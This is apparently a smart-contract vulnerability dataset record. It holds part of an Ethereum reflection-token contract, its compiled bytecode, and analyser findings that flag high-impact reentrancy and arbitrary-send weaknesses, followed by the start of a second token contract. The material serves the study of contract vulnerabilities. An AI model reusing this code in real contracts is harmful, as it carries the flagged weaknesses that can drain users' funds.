} function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 12); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f01565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a24565b61045e565b6040516101789190612ee6565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a3565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d5565b61048c565b6040516101e09190612ee6565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612947565b610565565b005b34801561021e57600080fd5b50610227610655565b6040516102349190613118565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa1565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612947565b610782565b6040516102b191906130a3565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612e18565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612f01565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a24565b61098c565b60405161035b9190612ee6565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a60565b6109aa565b005b34801561039957600080fd5b506103a2610afa565b005b3480156103b057600080fd5b506103b9610b74565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af3565b6110d3565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612999565b61121b565b60405161041891906130a3565b60405180910390f35b60606040518060400160405280601c81526020017f417374726f666c6f6b69207c20742e6d652f417374726f666c6f6b6900000000815250905090565b600061047261046b6112a2565b84846112aa565b6001905092915050565b6000678ac7230489e80000905090565b6000610499848484611475565b61055a846104a56112a2565b610555856040518060600160405280602881526020016137dc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b6112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c349092919063ffffffff16565b6112aa565b600190509392505050565b61056d6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612fe3565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106666112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612fe3565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107516112a2565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611c98565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db9565b9050919050565b6107db6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612fe3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f417374726f666c6f6b6900000000000000000000000000000000000000000000815250905090565b60006109a06109996112a2565b8484611475565b6001905092915050565b6109b26112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612fe3565b60405180910390fd5b60005b8151811015610af6576001600a6000848481518110610a8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aee906133b9565b915050610a42565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3b6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b57600080fd5b6000610b6630610782565b9050610b7181611e27565b50565b610b7c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0090612fe3565b60405180910390fd5b600f60149054906101000a900460ff1615610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5090613063565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e800006112aa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2e57600080fd5b505afa158015610d42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d669190612970565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc857600080fd5b505afa158015610ddc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e009190612970565b6040518363ffffffff1660e01b8152600401610e1d929190612e33565b602060405180830381600087803b158015610e3757600080fd5b505af1158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f9190612970565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef830610782565b600080610f03610926565b426040518863ffffffff1660e01b8152600401610f2596959493929190612e85565b6060604051808303818588803b158015610f3e57600080fd5b505af1158015610f52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f779190612b1c565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506b0813f3978f894098440000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107d929190612e5c565b602060405180830381600087803b15801561109757600080fd5b505af11580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf9190612aca565b5050565b6110db6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f90612fe3565b60405180910390fd5b600081116111ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a290612fa3565b60405180910390fd5b6111d960646111cb83678ac7230489e8000061212190919063ffffffff16565b61219c90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161121091906130a3565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190613043565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190612f63565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146891906130a3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90613023565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612f23565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90613003565b60405180910390fd5b6115a0610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7157600f60179054906101000a900460ff1615611841573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ea5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117445750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184057600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806118005750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b61183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690613083565b60405180910390fd5b5b5b60105481111561185057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fd57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a165750600f60179054906101000a900460ff165b15611ab75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b603c42611a7391906131d9565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac230610782565b9050600f60159054906101000a900460ff16158015611b2f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b475750600f60169054906101000a900460ff165b15611b6f57611b5581611e27565b60004790506000811115611b6d57611b6c47611c98565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c185750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2257600090505b611c2e848484846121e6565b50505050565b6000838311158290611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612f01565b60405180910390fd5b5060008385611c8b91906132ba565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfb600a611ced60048661212190919063ffffffff16565b61219c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d26573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d8a600a611d7c60068661212190919063ffffffff16565b61219c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db5573d6000803e3d6000fd5b5050565b6000600654821115611e00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df790612f43565b60405180910390fd5b6000611e0a612213565b9050611e1f818461219c90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e85577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb35781602001602082028036833780820191505090505b5090503081600081518110611ef1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9357600080fd5b505afa158015611fa7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fcb9190612970565b81600181518110612005577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206c30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120d09594939291906130be565b600060405180830381600087803b1580156120ea57600080fd5b505af11580156120fe573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121345760009050612196565b600082846121429190613260565b9050828482612151919061322f565b14612191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218890612fc3565b60405180910390fd5b809150505b92915050565b60006121de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223e565b905092915050565b806121f4576121f36122a1565b5b6121ff8484846122d2565b8061220d5761220c61249d565b5b50505050565b60008060006122206124af565b91509150612237818361219c90919063ffffffff16565b9250505090565b60008083118290612285576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227c9190612f01565b60405180910390fd5b5060008385612294919061322f565b9050809150509392505050565b60006008541480156122b557506000600954145b156122bf576122d0565b600060088190555060006009819055505b565b6000806000806000806122e48761250e565b95509550955095509550955061234286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125bf90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124238161261d565b61242d84836126da565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248a91906130a3565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000678ac7230489e8000090506124e3678ac7230489e8000060065461219c90919063ffffffff16565b82101561250157600654678ac7230489e8000093509350505061250a565b81819350935050505b9091565b600080600080600080600080600061252a8a600854600c612714565b925092509250600061253a612213565b9050600080600061254d8e8787876127aa565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c34565b905092915050565b60008082846125ce91906131d9565b905083811015612613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260a90612f83565b60405180910390fd5b8091505092915050565b6000612627612213565b9050600061263e828461212190919063ffffffff16565b905061269281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125bf90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126ef8260065461257590919063ffffffff16565b60068190555061270a816007546125bf90919063ffffffff16565b6007819055505050565b6000806000806127406064612732888a61212190919063ffffffff16565b61219c90919063ffffffff16565b9050600061276a606461275c888b61212190919063ffffffff16565b61219c90919063ffffffff16565b9050600061279382612785858c61257590919063ffffffff16565b61257590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c3858961212190919063ffffffff16565b905060006127da868961212190919063ffffffff16565b905060006127f1878961212190919063ffffffff16565b9050600061281a8261280c858761257590919063ffffffff16565b61257590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061284661284184613158565b613133565b9050808382526020820190508285602086028201111561286557600080fd5b60005b85811015612895578161287b888261289f565b845260208401935060208301925050600181019050612868565b5050509392505050565b6000813590506128ae81613796565b92915050565b6000815190506128c381613796565b92915050565b600082601f8301126128da57600080fd5b81356128ea848260208601612833565b91505092915050565b600081359050612902816137ad565b92915050565b600081519050612917816137ad565b92915050565b60008135905061292c816137c4565b92915050565b600081519050612941816137c4565b92915050565b60006020828403121561295957600080fd5b60006129678482850161289f565b91505092915050565b60006020828403121561298257600080fd5b6000612990848285016128b4565b91505092915050565b600080604083850312156129ac57600080fd5b60006129ba8582860161289f565b92505060206129cb8582860161289f565b9150509250929050565b6000806000606084860312156129ea57600080fd5b60006129f88682870161289f565b9350506020612a098682870161289f565b9250506040612a1a8682870161291d565b9150509250925092565b60008060408385031215612a3757600080fd5b6000612a458582860161289f565b9250506020612a568582860161291d565b9150509250929050565b600060208284031215612a7257600080fd5b600082013567ffffffffffffffff811115612a8c57600080fd5b612a98848285016128c9565b91505092915050565b600060208284031215612ab357600080fd5b6000612ac1848285016128f3565b91505092915050565b600060208284031215612adc57600080fd5b6000612aea84828501612908565b91505092915050565b600060208284031215612b0557600080fd5b6000612b138482850161291d565b91505092915050565b600080600060608486031215612b3157600080fd5b6000612b3f86828701612932565b9350506020612b5086828701612932565b9250506040612b6186828701612932565b9150509250925092565b6000612b778383612b83565b60208301905092915050565b612b8c816132ee565b82525050565b612b9b816132ee565b82525050565b6000612bac82613194565b612bb681856131b7565b9350612bc183613184565b8060005b83811015612bf2578151612bd98882612b6b565b9750612be4836131aa565b925050600181019050612bc5565b5085935050505092915050565b612c0881613300565b82525050565b612c1781613343565b82525050565b6000612c288261319f565b612c3281856131c8565b9350612c42818560208601613355565b612c4b8161348f565b840191505092915050565b6000612c636023836131c8565b9150612c6e826134a0565b604082019050919050565b6000612c86602a836131c8565b9150612c91826134ef565b604082019050919050565b6000612ca96022836131c8565b9150612cb48261353e565b604082019050919050565b6000612ccc601b836131c8565b9150612cd78261358d565b602082019050919050565b6000612cef601d836131c8565b9150612cfa826135b6565b602082019050919050565b6000612d126021836131c8565b9150612d1d826135df565b604082019050919050565b6000612d356020836131c8565b9150612d408261362e565b602082019050919050565b6000612d586029836131c8565b9150612d6382613657565b604082019050919050565b6000612d7b6025836131c8565b9150612d86826136a6565b604082019050919050565b6000612d9e6024836131c8565b9150612da9826136f5565b604082019050919050565b6000612dc16017836131c8565b9150612dcc82613744565b602082019050919050565b6000612de46011836131c8565b9150612def8261376d565b602082019050919050565b612e038161332c565b82525050565b612e1281613336565b82525050565b6000602082019050612e2d6000830184612b92565b92915050565b6000604082019050612e486000830185612b92565b612e556020830184612b92565b9392505050565b6000604082019050612e716000830185612b92565b612e7e6020830184612dfa565b9392505050565b600060c082019050612e9a6000830189612b92565b612ea76020830188612dfa565b612eb46040830187612c0e565b612ec16060830186612c0e565b612ece6080830185612b92565b612edb60a0830184612dfa565b979650505050505050565b6000602082019050612efb6000830184612bff565b92915050565b60006020820190508181036000830152612f1b8184612c1d565b905092915050565b60006020820190508181036000830152612f3c81612c56565b9050919050565b60006020820190508181036000830152612f5c81612c79565b9050919050565b60006020820190508181036000830152612f7c81612c9c565b9050919050565b60006020820190508181036000830152612f9c81612cbf565b9050919050565b60006020820190508181036000830152612fbc81612ce2565b9050919050565b60006020820190508181036000830152612fdc81612d05565b9050919050565b60006020820190508181036000830152612ffc81612d28565b9050919050565b6000602082019050818103600083015261301c81612d4b565b9050919050565b6000602082019050818103600083015261303c81612d6e565b9050919050565b6000602082019050818103600083015261305c81612d91565b9050919050565b6000602082019050818103600083015261307c81612db4565b9050919050565b6000602082019050818103600083015261309c81612dd7565b9050919050565b60006020820190506130b86000830184612dfa565b92915050565b600060a0820190506130d36000830188612dfa565b6130e06020830187612c0e565b81810360408301526130f28186612ba1565b90506131016060830185612b92565b61310e6080830184612dfa565b9695505050505050565b600060208201905061312d6000830184612e09565b92915050565b600061313d61314e565b90506131498282613388565b919050565b6000604051905090565b600067ffffffffffffffff82111561317357613172613460565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e48261332c565b91506131ef8361332c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322457613223613402565b5b828201905092915050565b600061323a8261332c565b91506132458361332c565b92508261325557613254613431565b5b828204905092915050565b600061326b8261332c565b91506132768361332c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132af576132ae613402565b5b828202905092915050565b60006132c58261332c565b91506132d08361332c565b9250828210156132e3576132e2613402565b5b828203905092915050565b60006132f98261330c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061334e8261332c565b9050919050565b60005b83811015613373578082015181840152602081019050613358565b83811115613382576000848401525b50505050565b6133918261348f565b810181811067ffffffffffffffff821117156133b0576133af613460565b5b80604052505050565b60006133c48261332c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133f7576133f6613402565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61379f816132ee565b81146137aa57600080fd5b50565b6137b681613300565b81146137c157600080fd5b50565b6137cd8161332c565b81146137d857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d9462386bced9f08195d804c1fd74ab225cdaef7521153afc2d0732e9a3db7aa64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,569
0x691cf77fb24b82f74d4b51acdae4c657f65ade9d
/** *Submitted for verification at Etherscan.io on 2021-06-17 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'Pesetas' contract // // Symbol : PTAS // Name : Pesetas // Total supply: 100000000000000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit 